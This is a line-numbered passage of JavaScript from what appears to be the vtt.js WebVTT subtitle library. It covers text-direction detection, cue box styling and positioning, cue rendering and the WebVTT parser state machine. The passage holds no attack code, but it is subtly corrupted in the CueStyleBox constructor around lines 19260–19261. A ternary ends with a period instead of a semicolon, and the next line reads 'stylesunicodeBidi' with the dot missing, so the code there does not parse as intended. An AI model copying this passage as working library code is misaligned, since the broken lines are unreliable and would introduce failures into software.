  19144. if (!nodeStack || !nodeStack.length) {
  19145. return null;
  19146. }
  19147. var node = nodeStack.pop(),
  19148. text = node.textContent || node.innerText;
  19149. if (text) {
  19150. // TODO: This should match all unicode type B characters (paragraph
  19151. // separator characters). See issue #115.
  19152. var m = text.match(/^.*(\n|\r)/);
  19153. if (m) {
  19154. nodeStack.length = 0;
  19155. return m[0];
  19156. }
  19157. return text;
  19158. }
  19159. if (node.tagName === "ruby") {
  19160. return nextTextNode(nodeStack);
  19161. }
  19162. if (node.childNodes) {
  19163. pushNodes(nodeStack, node);
  19164. return nextTextNode(nodeStack);
  19165. }
  19166. }
  19167. pushNodes(nodeStack, cueDiv);
  19168. while ((text = nextTextNode(nodeStack))) {
  19169. for (var i = 0; i < text.length; i++) {
  19170. charCode = text.charCodeAt(i);
  19171. for (var j = 0; j < strongRTLChars.length; j++) {
  19172. if (strongRTLChars[j] === charCode) {
  19173. return "rtl";
  19174. }
  19175. }
  19176. }
  19177. }
  19178. return "ltr";
  19179. }
  19180. function computeLinePos(cue) {
  19181. if (typeof cue.line === "number" &&
  19182. (cue.snapToLines || (cue.line >= 0 && cue.line <= 100))) {
  19183. return cue.line;
  19184. }
  19185. if (!cue.track || !cue.track.textTrackList ||
  19186. !cue.track.textTrackList.mediaElement) {
  19187. return -1;
  19188. }
  19189. var track = cue.track,
  19190. trackList = track.textTrackList,
  19191. count = 0;
  19192. for (var i = 0; i < trackList.length && trackList[i] !== track; i++) {
  19193. if (trackList[i].mode === "showing") {
  19194. count++;
  19195. }
  19196. }
  19197. return ++count * -1;
  19198. }
  19199. function StyleBox() {
  19200. }
  19201. // Apply styles to a div. If there is no div passed then it defaults to the
  19202. // div on 'this'.
  19203. StyleBox.prototype.applyStyles = function(styles, div) {
  19204. div = div || this.div;
  19205. for (var prop in styles) {
  19206. if (styles.hasOwnProperty(prop)) {
  19207. div.style[prop] = styles[prop];
  19208. }
  19209. }
  19210. };
  19211. StyleBox.prototype.formatStyle = function(val, unit) {
  19212. return val === 0 ? 0 : val + unit;
  19213. };
  19214. // Constructs the computed display state of the cue (a div). Places the div
  19215. // into the overlay which should be a block level element (usually a div).
  19216. function CueStyleBox(window, cue, styleOptions) {
  19217. var isIE8 = (/MSIE\s8\.0/).test(navigator.userAgent);
  19218. var color = "rgba(255, 255, 255, 1)";
  19219. var backgroundColor = "rgba(0, 0, 0, 0.8)";
  19220. if (isIE8) {
  19221. color = "rgb(255, 255, 255)";
  19222. backgroundColor = "rgb(0, 0, 0)";
  19223. }
  19224. StyleBox.call(this);
  19225. this.cue = cue;
  19226. // Parse our cue's text into a DOM tree rooted at 'cueDiv'. This div will
  19227. // have inline positioning and will function as the cue background box.
  19228. this.cueDiv = parseContent(window, cue.text);
  19229. var styles = {
  19230. color: color,
  19231. backgroundColor: backgroundColor,
  19232. position: "relative",
  19233. left: 0,
  19234. right: 0,
  19235. top: 0,
  19236. bottom: 0,
  19237. display: "inline"
  19238. };
  19239. if (!isIE8) {
  19240. styles.writingMode = cue.vertical === "" ? "horizontal-tb"
  19241. : cue.vertical === "lr" ? "vertical-lr"
  19242. : "vertical-rl";
  19243. styles.unicodeBidi = "plaintext";
  19244. }
  19245. this.applyStyles(styles, this.cueDiv);
  19246. // Create an absolutely positioned div that will be used to position the cue
  19247. // div. Note, all WebVTT cue-setting alignments are equivalent to the CSS
  19248. // mirrors of them except "middle" which is "center" in CSS.
  19249. this.div = window.document.createElement("div");
  19250. styles = {
  19251. textAlign: cue.align === "middle" ? "center" : cue.align,
  19252. font: styleOptions.font,
  19253. whiteSpace: "pre-line",
  19254. position: "absolute"
  19255. };
  19256. if (!isIE8) {
  19257. styles.direction = determineBidi(this.cueDiv);
  19258. styles.writingMode = cue.vertical === "" ? "horizontal-tb"
  19259. : cue.vertical === "lr" ? "vertical-lr"
  19260. : "vertical-rl".
  19261. stylesunicodeBidi = "plaintext";
  19262. }
  19263. this.applyStyles(styles);
  19264. this.div.appendChild(this.cueDiv);
  19265. // Calculate the distance from the reference edge of the viewport to the text
  19266. // position of the cue box. The reference edge will be resolved later when
  19267. // the box orientation styles are applied.
  19268. var textPos = 0;
  19269. switch (cue.positionAlign) {
  19270. case "start":
  19271. textPos = cue.position;
  19272. break;
  19273. case "middle":
  19274. textPos = cue.position - (cue.size / 2);
  19275. break;
  19276. case "end":
  19277. textPos = cue.position - cue.size;
  19278. break;
  19279. }
  19280. // Horizontal box orientation; textPos is the distance from the left edge of the
  19281. // area to the left edge of the box and cue.size is the distance extending to
  19282. // the right from there.
  19283. if (cue.vertical === "") {
  19284. this.applyStyles({
  19285. left: this.formatStyle(textPos, "%"),
  19286. width: this.formatStyle(cue.size, "%")
  19287. });
  19288. // Vertical box orientation; textPos is the distance from the top edge of the
  19289. // area to the top edge of the box and cue.size is the height extending
  19290. // downwards from there.
  19291. } else {
  19292. this.applyStyles({
  19293. top: this.formatStyle(textPos, "%"),
  19294. height: this.formatStyle(cue.size, "%")
  19295. });
  19296. }
  19297. this.move = function(box) {
  19298. this.applyStyles({
  19299. top: this.formatStyle(box.top, "px"),
  19300. bottom: this.formatStyle(box.bottom, "px"),
  19301. left: this.formatStyle(box.left, "px"),
  19302. right: this.formatStyle(box.right, "px"),
  19303. height: this.formatStyle(box.height, "px"),
  19304. width: this.formatStyle(box.width, "px")
  19305. });
  19306. };
  19307. }
  19308. CueStyleBox.prototype = _objCreate(StyleBox.prototype);
  19309. CueStyleBox.prototype.constructor = CueStyleBox;
  19310. // Represents the co-ordinates of an Element in a way that we can easily
  19311. // compute things with such as if it overlaps or intersects with another Element.
  19312. // Can initialize it with either a StyleBox or another BoxPosition.
  19313. function BoxPosition(obj) {
  19314. var isIE8 = (/MSIE\s8\.0/).test(navigator.userAgent);
  19315. // Either a BoxPosition was passed in and we need to copy it, or a StyleBox
  19316. // was passed in and we need to copy the results of 'getBoundingClientRect'
  19317. // as the object returned is readonly. All co-ordinate values are in reference
  19318. // to the viewport origin (top left).
  19319. var lh, height, width, top;
  19320. if (obj.div) {
  19321. height = obj.div.offsetHeight;
  19322. width = obj.div.offsetWidth;
  19323. top = obj.div.offsetTop;
  19324. var rects = (rects = obj.div.childNodes) && (rects = rects[0]) &&
  19325. rects.getClientRects && rects.getClientRects();
  19326. obj = obj.div.getBoundingClientRect();
  19327. // In certain cases the outter div will be slightly larger then the sum of
  19328. // the inner div's lines. This could be due to bold text, etc, on some platforms.
  19329. // In this case we should get the average line height and use that. This will
  19330. // result in the desired behaviour.
  19331. lh = rects ? Math.max((rects[0] && rects[0].height) || 0, obj.height / rects.length)
  19332. : 0;
  19333. }
  19334. this.left = obj.left;
  19335. this.right = obj.right;
  19336. this.top = obj.top || top;
  19337. this.height = obj.height || height;
  19338. this.bottom = obj.bottom || (top + (obj.height || height));
  19339. this.width = obj.width || width;
  19340. this.lineHeight = lh !== undefined ? lh : obj.lineHeight;
  19341. if (isIE8 && !this.lineHeight) {
  19342. this.lineHeight = 13;
  19343. }
  19344. }
  19345. // Move the box along a particular axis. Optionally pass in an amount to move
  19346. // the box. If no amount is passed then the default is the line height of the
  19347. // box.
  19348. BoxPosition.prototype.move = function(axis, toMove) {
  19349. toMove = toMove !== undefined ? toMove : this.lineHeight;
  19350. switch (axis) {
  19351. case "+x":
  19352. this.left += toMove;
  19353. this.right += toMove;
  19354. break;
  19355. case "-x":
  19356. this.left -= toMove;
  19357. this.right -= toMove;
  19358. break;
  19359. case "+y":
  19360. this.top += toMove;
  19361. this.bottom += toMove;
  19362. break;
  19363. case "-y":
  19364. this.top -= toMove;
  19365. this.bottom -= toMove;
  19366. break;
  19367. }
  19368. };
  19369. // Check if this box overlaps another box, b2.
  19370. BoxPosition.prototype.overlaps = function(b2) {
  19371. return this.left < b2.right &&
  19372. this.right > b2.left &&
  19373. this.top < b2.bottom &&
  19374. this.bottom > b2.top;
  19375. };
  19376. // Check if this box overlaps any other boxes in boxes.
  19377. BoxPosition.prototype.overlapsAny = function(boxes) {
  19378. for (var i = 0; i < boxes.length; i++) {
  19379. if (this.overlaps(boxes[i])) {
  19380. return true;
  19381. }
  19382. }
  19383. return false;
  19384. };
  19385. // Check if this box is within another box.
  19386. BoxPosition.prototype.within = function(container) {
  19387. return this.top >= container.top &&
  19388. this.bottom <= container.bottom &&
  19389. this.left >= container.left &&
  19390. this.right <= container.right;
  19391. };
  19392. // Check if this box is entirely within the container or it is overlapping
  19393. // on the edge opposite of the axis direction passed. For example, if "+x" is
  19394. // passed and the box is overlapping on the left edge of the container, then
  19395. // return true.
  19396. BoxPosition.prototype.overlapsOppositeAxis = function(container, axis) {
  19397. switch (axis) {
  19398. case "+x":
  19399. return this.left < container.left;
  19400. case "-x":
  19401. return this.right > container.right;
  19402. case "+y":
  19403. return this.top < container.top;
  19404. case "-y":
  19405. return this.bottom > container.bottom;
  19406. }
  19407. };
  19408. // Find the percentage of the area that this box is overlapping with another
  19409. // box.
  19410. BoxPosition.prototype.intersectPercentage = function(b2) {
  19411. var x = Math.max(0, Math.min(this.right, b2.right) - Math.max(this.left, b2.left)),
  19412. y = Math.max(0, Math.min(this.bottom, b2.bottom) - Math.max(this.top, b2.top)),
  19413. intersectArea = x * y;
  19414. return intersectArea / (this.height * this.width);
  19415. };
  19416. // Convert the positions from this box to CSS compatible positions using
  19417. // the reference container's positions. This has to be done because this
  19418. // box's positions are in reference to the viewport origin, whereas, CSS
  19419. // values are in referecne to their respective edges.
  19420. BoxPosition.prototype.toCSSCompatValues = function(reference) {
  19421. return {
  19422. top: this.top - reference.top,
  19423. bottom: reference.bottom - this.bottom,
  19424. left: this.left - reference.left,
  19425. right: reference.right - this.right,
  19426. height: this.height,
  19427. width: this.width
  19428. };
  19429. };
  19430. // Get an object that represents the box's position without anything extra.
  19431. // Can pass a StyleBox, HTMLElement, or another BoxPositon.
  19432. BoxPosition.getSimpleBoxPosition = function(obj) {
  19433. var height = obj.div ? obj.div.offsetHeight : obj.tagName ? obj.offsetHeight : 0;
  19434. var width = obj.div ? obj.div.offsetWidth : obj.tagName ? obj.offsetWidth : 0;
  19435. var top = obj.div ? obj.div.offsetTop : obj.tagName ? obj.offsetTop : 0;
  19436. obj = obj.div ? obj.div.getBoundingClientRect() :
  19437. obj.tagName ? obj.getBoundingClientRect() : obj;
  19438. var ret = {
  19439. left: obj.left,
  19440. right: obj.right,
  19441. top: obj.top || top,
  19442. height: obj.height || height,
  19443. bottom: obj.bottom || (top + (obj.height || height)),
  19444. width: obj.width || width
  19445. };
  19446. return ret;
  19447. };
  19448. // Move a StyleBox to its specified, or next best, position. The containerBox
  19449. // is the box that contains the StyleBox, such as a div. boxPositions are
  19450. // a list of other boxes that the styleBox can't overlap with.
  19451. function moveBoxToLinePosition(window, styleBox, containerBox, boxPositions) {
  19452. // Find the best position for a cue box, b, on the video. The axis parameter
  19453. // is a list of axis, the order of which, it will move the box along. For example:
  19454. // Passing ["+x", "-x"] will move the box first along the x axis in the positive
  19455. // direction. If it doesn't find a good position for it there it will then move
  19456. // it along the x axis in the negative direction.
  19457. function findBestPosition(b, axis) {
  19458. var bestPosition,
  19459. specifiedPosition = new BoxPosition(b),
  19460. percentage = 1; // Highest possible so the first thing we get is better.
  19461. for (var i = 0; i < axis.length; i++) {
  19462. while (b.overlapsOppositeAxis(containerBox, axis[i]) ||
  19463. (b.within(containerBox) && b.overlapsAny(boxPositions))) {
  19464. b.move(axis[i]);
  19465. }
  19466. // We found a spot where we aren't overlapping anything. This is our
  19467. // best position.
  19468. if (b.within(containerBox)) {
  19469. return b;
  19470. }
  19471. var p = b.intersectPercentage(containerBox);
  19472. // If we're outside the container box less then we were on our last try
  19473. // then remember this position as the best position.
  19474. if (percentage > p) {
  19475. bestPosition = new BoxPosition(b);
  19476. percentage = p;
  19477. }
  19478. // Reset the box position to the specified position.
  19479. b = new BoxPosition(specifiedPosition);
  19480. }
  19481. return bestPosition || specifiedPosition;
  19482. }
  19483. var boxPosition = new BoxPosition(styleBox),
  19484. cue = styleBox.cue,
  19485. linePos = computeLinePos(cue),
  19486. axis = [];
  19487. // If we have a line number to align the cue to.
  19488. if (cue.snapToLines) {
  19489. var size;
  19490. switch (cue.vertical) {
  19491. case "":
  19492. axis = [ "+y", "-y" ];
  19493. size = "height";
  19494. break;
  19495. case "rl":
  19496. axis = [ "+x", "-x" ];
  19497. size = "width";
  19498. break;
  19499. case "lr":
  19500. axis = [ "-x", "+x" ];
  19501. size = "width";
  19502. break;
  19503. }
  19504. var step = boxPosition.lineHeight,
  19505. position = step * Math.round(linePos),
  19506. maxPosition = containerBox[size] + step,
  19507. initialAxis = axis[0];
  19508. // If the specified intial position is greater then the max position then
  19509. // clamp the box to the amount of steps it would take for the box to
  19510. // reach the max position.
  19511. if (Math.abs(position) > maxPosition) {
  19512. position = position < 0 ? -1 : 1;
  19513. position *= Math.ceil(maxPosition / step) * step;
  19514. }
  19515. // If computed line position returns negative then line numbers are
  19516. // relative to the bottom of the video instead of the top. Therefore, we
  19517. // need to increase our initial position by the length or width of the
  19518. // video, depending on the writing direction, and reverse our axis directions.
  19519. if (linePos < 0) {
  19520. position += cue.vertical === "" ? containerBox.height : containerBox.width;
  19521. axis = axis.reverse();
  19522. }
  19523. // Move the box to the specified position. This may not be its best
  19524. // position.
  19525. boxPosition.move(initialAxis, position);
  19526. } else {
  19527. // If we have a percentage line value for the cue.
  19528. var calculatedPercentage = (boxPosition.lineHeight / containerBox.height) * 100;
  19529. switch (cue.lineAlign) {
  19530. case "middle":
  19531. linePos -= (calculatedPercentage / 2);
  19532. break;
  19533. case "end":
  19534. linePos -= calculatedPercentage;
  19535. break;
  19536. }
  19537. // Apply initial line position to the cue box.
  19538. switch (cue.vertical) {
  19539. case "":
  19540. styleBox.applyStyles({
  19541. top: styleBox.formatStyle(linePos, "%")
  19542. });
  19543. break;
  19544. case "rl":
  19545. styleBox.applyStyles({
  19546. left: styleBox.formatStyle(linePos, "%")
  19547. });
  19548. break;
  19549. case "lr":
  19550. styleBox.applyStyles({
  19551. right: styleBox.formatStyle(linePos, "%")
  19552. });
  19553. break;
  19554. }
  19555. axis = [ "+y", "-x", "+x", "-y" ];
  19556. // Get the box position again after we've applied the specified positioning
  19557. // to it.
  19558. boxPosition = new BoxPosition(styleBox);
  19559. }
  19560. var bestPosition = findBestPosition(boxPosition, axis);
  19561. styleBox.move(bestPosition.toCSSCompatValues(containerBox));
  19562. }
  19563. function WebVTT() {
  19564. // Nothing
  19565. }
  19566. // Helper to allow strings to be decoded instead of the default binary utf8 data.
  19567. WebVTT.StringDecoder = function() {
  19568. return {
  19569. decode: function(data) {
  19570. if (!data) {
  19571. return "";
  19572. }
  19573. if (typeof data !== "string") {
  19574. throw new Error("Error - expected string data.");
  19575. }
  19576. return decodeURIComponent(encodeURIComponent(data));
  19577. }
  19578. };
  19579. };
  19580. WebVTT.convertCueToDOMTree = function(window, cuetext) {
  19581. if (!window || !cuetext) {
  19582. return null;
  19583. }
  19584. return parseContent(window, cuetext);
  19585. };
  19586. var FONT_SIZE_PERCENT = 0.05;
  19587. var FONT_STYLE = "sans-serif";
  19588. var CUE_BACKGROUND_PADDING = "1.5%";
  19589. // Runs the processing model over the cues and regions passed to it.
  19590. // @param overlay A block level element (usually a div) that the computed cues
  19591. // and regions will be placed into.
  19592. WebVTT.processCues = function(window, cues, overlay) {
  19593. if (!window || !cues || !overlay) {
  19594. return null;
  19595. }
  19596. // Remove all previous children.
  19597. while (overlay.firstChild) {
  19598. overlay.removeChild(overlay.firstChild);
  19599. }
  19600. var paddedOverlay = window.document.createElement("div");
  19601. paddedOverlay.style.position = "absolute";
  19602. paddedOverlay.style.left = "0";
  19603. paddedOverlay.style.right = "0";
  19604. paddedOverlay.style.top = "0";
  19605. paddedOverlay.style.bottom = "0";
  19606. paddedOverlay.style.margin = CUE_BACKGROUND_PADDING;
  19607. overlay.appendChild(paddedOverlay);
  19608. // Determine if we need to compute the display states of the cues. This could
  19609. // be the case if a cue's state has been changed since the last computation or
  19610. // if it has not been computed yet.
  19611. function shouldCompute(cues) {
  19612. for (var i = 0; i < cues.length; i++) {
  19613. if (cues[i].hasBeenReset || !cues[i].displayState) {
  19614. return true;
  19615. }
  19616. }
  19617. return false;
  19618. }
  19619. // We don't need to recompute the cues' display states. Just reuse them.
  19620. if (!shouldCompute(cues)) {
  19621. for (var i = 0; i < cues.length; i++) {
  19622. paddedOverlay.appendChild(cues[i].displayState);
  19623. }
  19624. return;
  19625. }
  19626. var boxPositions = [],
  19627. containerBox = BoxPosition.getSimpleBoxPosition(paddedOverlay),
  19628. fontSize = Math.round(containerBox.height * FONT_SIZE_PERCENT * 100) / 100;
  19629. var styleOptions = {
  19630. font: fontSize + "px " + FONT_STYLE
  19631. };
  19632. (function() {
  19633. var styleBox, cue;
  19634. for (var i = 0; i < cues.length; i++) {
  19635. cue = cues[i];
  19636. // Compute the intial position and styles of the cue div.
  19637. styleBox = new CueStyleBox(window, cue, styleOptions);
  19638. paddedOverlay.appendChild(styleBox.div);
  19639. // Move the cue div to it's correct line position.
  19640. moveBoxToLinePosition(window, styleBox, containerBox, boxPositions);
  19641. // Remember the computed div so that we don't have to recompute it later
  19642. // if we don't have too.
  19643. cue.displayState = styleBox.div;
  19644. boxPositions.push(BoxPosition.getSimpleBoxPosition(styleBox));
  19645. }
  19646. })();
  19647. };
  19648. WebVTT.Parser = function(window, vttjs, decoder) {
  19649. if (!decoder) {
  19650. decoder = vttjs;
  19651. vttjs = {};
  19652. }
  19653. if (!vttjs) {
  19654. vttjs = {};
  19655. }
  19656. this.window = window;
  19657. this.vttjs = vttjs;
  19658. this.state = "INITIAL";
  19659. this.buffer = "";
  19660. this.decoder = decoder || new TextDecoder("utf8");
  19661. this.regionList = [];
  19662. };
  19663. WebVTT.Parser.prototype = {
  19664. // If the error is a ParsingError then report it to the consumer if
  19665. // possible. If it's not a ParsingError then throw it like normal.
  19666. reportOrThrowError: function(e) {
  19667. if (e instanceof ParsingError) {
  19668. this.onparsingerror && this.onparsingerror(e);
  19669. } else {
  19670. throw e;
  19671. }
  19672. },
  19673. parse: function (data) {
  19674. var self = this;
  19675. // If there is no data then we won't decode it, but will just try to parse
  19676. // whatever is in buffer already. This may occur in circumstances, for
  19677. // example when flush() is called.
  19678. if (data) {
  19679. // Try to decode the data that we received.
  19680. self.buffer += self.decoder.decode(data, {stream: true});
  19681. }
  19682. function collectNextLine() {
  19683. var buffer = self.buffer;
  19684. var pos = 0;
  19685. while (pos < buffer.length && buffer[pos] !== '\r' && buffer[pos] !== '\n') {
  19686. ++pos;
  19687. }
  19688. var line = buffer.substr(0, pos);
  19689. // Advance the buffer early in case we fail below.
  19690. if (buffer[pos] === '\r') {
  19691. ++pos;
  19692. }
  19693. if (buffer[pos] === '\n') {
  19694. ++pos;
  19695. }
  19696. self.buffer = buffer.substr(pos);
  19697. return line;
  19698. }
  19699. // 3.4 WebVTT region and WebVTT region settings syntax
  19700. function parseRegion(input) {
  19701. var settings = new Settings();
  19702. parseOptions(input, function (k, v) {
  19703. switch (k) {
  19704. case "id":
  19705. settings.set(k, v);
  19706. break;
  19707. case "width":
  19708. settings.percent(k, v);
  19709. break;
  19710. case "lines":
  19711. settings.integer(k, v);
  19712. break;
  19713. case "regionanchor":
  19714. case "viewportanchor":
  19715. var xy = v.split(',');
  19716. if (xy.length !== 2) {
  19717. break;
  19718. }
  19719. // We have to make sure both x and y parse, so use a temporary
  19720. // settings object here.
  19721. var anchor = new Settings();
  19722. anchor.percent("x", xy[0]);
  19723. anchor.percent("y", xy[1]);
  19724. if (!anchor.has("x") || !anchor.has("y")) {
  19725. break;
  19726. }
  19727. settings.set(k + "X", anchor.get("x"));
  19728. settings.set(k + "Y", anchor.get("y"));
  19729. break;
  19730. case "scroll":
  19731. settings.alt(k, v, ["up"]);
  19732. break;
  19733. }
  19734. }, /=/, /\s/);
  19735. // Create the region, using default values for any values that were not
  19736. // specified.
  19737. if (settings.has("id")) {
  19738. var region = new (self.vttjs.VTTRegion || self.window.VTTRegion)();
  19739. region.width = settings.get("width", 100);
  19740. region.lines = settings.get("lines", 3);
  19741. region.regionAnchorX = settings.get("regionanchorX", 0);
  19742. region.regionAnchorY = settings.get("regionanchorY", 100);
  19743. region.viewportAnchorX = settings.get("viewportanchorX", 0);
  19744. region.viewportAnchorY = settings.get("viewportanchorY", 100);
  19745. region.scroll = settings.get("scroll", "");
  19746. // Register the region.
  19747. self.onregion && self.onregion(region);
  19748. // Remember the VTTRegion for later in case we parse any VTTCues that
  19749. // reference it.
  19750. self.regionList.push({
  19751. id: settings.get("id"),
  19752. region: region
  19753. });
  19754. }
  19755. }
  19756. // 3.2 WebVTT metadata header syntax
  19757. function parseHeader(input) {
  19758. parseOptions(input, function (k, v) {
  19759. switch (k) {
  19760. case "Region":
  19761. // 3.3 WebVTT region metadata header syntax
  19762. parseRegion(v);
  19763. break;
  19764. }
  19765. }, /:/);
  19766. }
  19767. // 5.1 WebVTT file parsing.
  19768. try {
  19769. var line;
  19770. if (self.state === "INITIAL") {
  19771. // We can't start parsing until we have the first line.
  19772. if (!/\r\n|\n/.test(self.buffer)) {
  19773. return this;
  19774. }
  19775. line = collectNextLine();
  19776. var m = line.match(/^WEBVTT([ \t].*)?$/);
  19777. if (!m || !m[0]) {
  19778. throw new ParsingError(ParsingError.Errors.BadSignature);
  19779. }
  19780. self.state = "HEADER";
  19781. }
  19782. var alreadyCollectedLine = false;
  19783. while (self.buffer) {
  19784. // We can't parse a line until we have the full line.
  19785. if (!/\r\n|\n/.test(self.buffer)) {
  19786. return this;
  19787. }
  19788. if (!alreadyCollectedLine) {
  19789. line = collectNextLine();
  19790. } else {
  19791. alreadyCollectedLine = false;
  19792. }
  19793. switch (self.state) {
  19794. case "HEADER":
  19795. // 13-18 - Allow a header (metadata) under the WEBVTT line.
  19796. if (/:/.test(line)) {
  19797. parseHeader(line);
  19798. } else if (!line) {
  19799. // An empty line terminates the header and starts the body (cues).
  19800. self.state = "ID";
  19801. }
  19802. continue;
  19803. case "NOTE":
  19804. // Ignore NOTE blocks.
  19805. if (!line) {
  19806. self.state = "ID";
  19807. }
  19808. continue;
  19809. case "ID":
  19810. // Check for the start of NOTE blocks.
  19811. if (/^NOTE($|[ \t])/.test(line)) {
  19812. self.state = "NOTE";
  19813. break;
  19814. }
  19815. // 19-29 - Allow any number of line terminators, then initialize new cue values.
  19816. if (!line) {
  19817. continue;
  19818. }
  19819. self.cue = new (self.vttjs.VTTCue || self.window.VTTCue)(0, 0, "");
  19820. self.state = "CUE";
  19821. // 30-39 - Check if self line contains an optional identifier or timing data.
  19822. if (line.indexOf("-->") === -1) {
  19823. self.cue.id = line;
  19824. continue;
  19825. }
  19826. // Process line as start of a cue.
  19827. /*falls through*/
  19828. case "CUE":
  19829. // 40 - Collect cue timings and settings.
  19830. try {
  19831. parseCue(line, self.cue, self.regionList);
  19832. } catch (e) {
  19833. self.reportOrThrowError(e);
  19834. // In case of an error ignore rest of the cue.
  19835. self.cue = null;
  19836. self.state = "BADCUE";
  19837. continue;
  19838. }
  19839. self.state = "CUETEXT";
  19840. continue;
  19841. case "CUETEXT":
  19842. var hasSubstring = line.indexOf("-->") !== -1;
  19843. // 34 - If we have an empty line then report the cue.
  19844. // 35 - If we have the special substring '-->' then report the cue,
  19845. // but do not collect the line as we need to process the current
  19846. // one as a new cue.
  19847. if (!line || hasSubstring && (alreadyCollectedLine = true)) {
  19848. // We are done parsing self cue.
  19849. self.oncue && self.oncue(self.cue);
  19850. self.cue = null;
  19851. self.state = "ID";
  19852. continue;
  19853. }
  19854. if (self.cue.text) {
  19855. self.cue.text += "\n";
  19856. }
  19857. self.cue.text += line;
  19858. continue;
  19859. case "BADCUE": // BADCUE
  19860. // 54-62 - Collect and discard the remaining cue.
  19861. if (!line) {
  19862. self.state = "ID";
  19863. }
  19864. continue;
  19865. }
  19866. }
  19867. } catch (e) {
  19868. self.reportOrThrowError(e);
  19869. // If we are currently parsing a cue, report what we have.
  19870. if (self.state === "CUETEXT" && self.cue && self.oncue) {
  19871. self.oncue(self.cue);
  19872. }
  19873. self.cue = null;
  19874. // Enter BADWEBVTT state if header was not parsed correctly otherwise
  19875. // another exception occurred so enter BADCUE state.
  19876. self.state = self.state === "INITIAL" ? "BADWEBVTT" : "BADCUE";
  19877. }
  19878. return this;
  19879. },
  19880. flush: function () {
  19881. var self = this;
  19882. try {
  19883. // Finish decoding the stream.
  19884. self.buffer += self.decoder.decode();
  19885. // Synthesize the end of the current cue or region.
  19886. if (self.cue || self.state === "HEADER") {
  19887. self.buffer += "\n\n";
  19888. self.parse();
  19889. }
  19890. // If we've flushed, parsed, and we're still on the INITIAL state then
  19891. // that means we don't have enough of the stream to parse the first
  19892. // line.
  19893. if (self.state === "INITIAL") {
  19894. throw new ParsingError(ParsingError.Errors.BadSignature);
  19895. }
  19896. } catch(e) {
  19897. self.reportOrThrowError(e);
  19898. }
  19899. self.onflush && self.onflush();
  19900. return this;
  19901. }
  19902. };
  19903. global.WebVTT = WebVTT;
  19904. }(this, (this.vttjs || {})));